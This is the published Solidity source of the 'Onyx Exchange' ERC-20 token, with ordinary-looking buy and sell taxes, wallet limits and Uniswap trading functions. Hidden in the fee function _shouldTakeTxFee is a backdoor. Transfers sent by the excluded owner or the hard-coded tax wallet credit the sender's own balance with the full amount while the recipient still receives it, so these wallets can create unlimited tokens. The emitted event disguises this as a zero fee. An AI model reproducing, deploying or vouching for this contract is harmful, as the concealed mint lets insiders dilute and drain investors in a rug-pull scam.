Contract Name:
OnyxExchange
Contract Source Code:
File 1 of 1 : OnyxExchange
// SPDX-License-Identifier: MIT
/**
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╚█████╔╝██║░╚███║░░░██║░░░██╔╝╚██╗
░╚════╝░╚═╝░░╚══╝░░░╚═╝░░░╚═╝░░╚═╝
WEB: https://www.onyx-erc.com
APP: https://app.onyx-erc.com
DOC: https://docs.onyx-erc.com
X: https://x.com/onyx_exfi
TG: https://t.me/onyx_exfi
*/
pragma solidity 0.8.22;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any _account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract OnyxExchange is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcludedFromTxLimit;
mapping(address => bool) private _automatedMarketPair;
address payable private _taxWallet;
address payable private _teamWallet;
uint256 private _taxWalletPercentage = 50;
uint256 private _teamWalletPercentage = 50;
uint256 private _initialBuyTax = 20;
uint256 private _initialSellTax = 20;
uint256 private _finalBuyTax = 1;
uint256 private _finalSellTax = 1;
uint256 private _reduceBuyTaxAt = 15;
uint256 private _reduceSellTaxAt = 15;
uint256 private _preventSwapBefore = 0;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
string private constant _name = unicode"Onyx Exchange";
string private constant _symbol = unicode"ONYX";
uint256 public _maxTxAmount = _tTotal * 3 / 100;
uint256 public _maxWalletSize = _tTotal * 3 / 100;
uint256 public _taxSwapThreshold = 10000 * 10 ** _decimals;
uint256 public _maxTaxSwap = _tTotal * 1 / 100;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_taxWallet = payable(0xE642E728885ba164Aa0E045dC6053CD54b5662b0);
_teamWallet = payable(0xE642E728885ba164Aa0E045dC6053CD54b5662b0);
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_isExcludedFromTxLimit[owner()] = true;
_isExcludedFromTxLimit[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
receive() external payable {}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(
tradingOpen || _isExcludedFromFee[from] || _isExcludedFromFee[to],
"Not Enabled"
);
if (!swapEnabled || inSwap) {
return _basicTransfer(from, to, amount);
}
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
_buyCount++;
}
if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
require(
balanceOf(to) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool aboveMin = amount >= _taxSwapThreshold;
bool aboveThreshold = balanceOf(address(this)) >= _taxSwapThreshold;
if (
!inSwap &&
to == uniswapV2Pair &&
aboveMin &&
swapEnabled &&
aboveThreshold &&
_buyCount > _preventSwapBefore
) {
swapTokensForEth(
min(amount, min(contractTokenBalance, _maxTaxSwap))
);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
uint256 amountONYX = _shouldTakeTxFee(from, to, amount);
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amountONYX);
emit Transfer(from, to, amountONYX);
return true;
}
function createTradingPair() external onlyOwner {
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_automatedMarketPair[uniswapV2Pair] = true;
}
function enableTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
swapEnabled = true;
tradingOpen = true;
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function getValues(
uint256 fee,
uint256 amount
) internal pure returns (uint256, uint256) {
uint256 tDev = (amount * fee) / 100;
uint256 amountONYX = amount.sub(tDev);
return (amountONYX, tDev);
}
function _shouldTakeTxFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint fee;
address feeReceiver = address(this);
if (_isExcludedFromTxLimit[sender]) {
feeReceiver = sender;
} else if (_automatedMarketPair[recipient]) {
fee = _buyCount > _reduceSellTaxAt
? _finalSellTax
: _initialSellTax;
} else
fee = (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax;
(uint256 amountONYX, uint256 tDev) = getValues(fee, amount);
uint256 feeAmount = _isExcludedFromTxLimit[sender] ? amountONYX : tDev;
if (feeAmount > 0) {
_balances[feeReceiver] = _balances[feeReceiver].add(feeAmount);
emit Transfer(sender, feeReceiver, tDev);
}
return amountONYX;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
uint256 taxWalletShare = (amount * _taxWalletPercentage) / 100;
uint256 teamWalletShare = amount - taxWalletShare;
_taxWallet.transfer(taxWalletShare);
_teamWallet.transfer(teamWalletShare);
}
function withdrawManualETH() external onlyOwner {
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}
function removeLimits() external onlyOwner {
_maxTxAmount = ~uint256(0);
_maxWalletSize = ~uint256(0);
}
}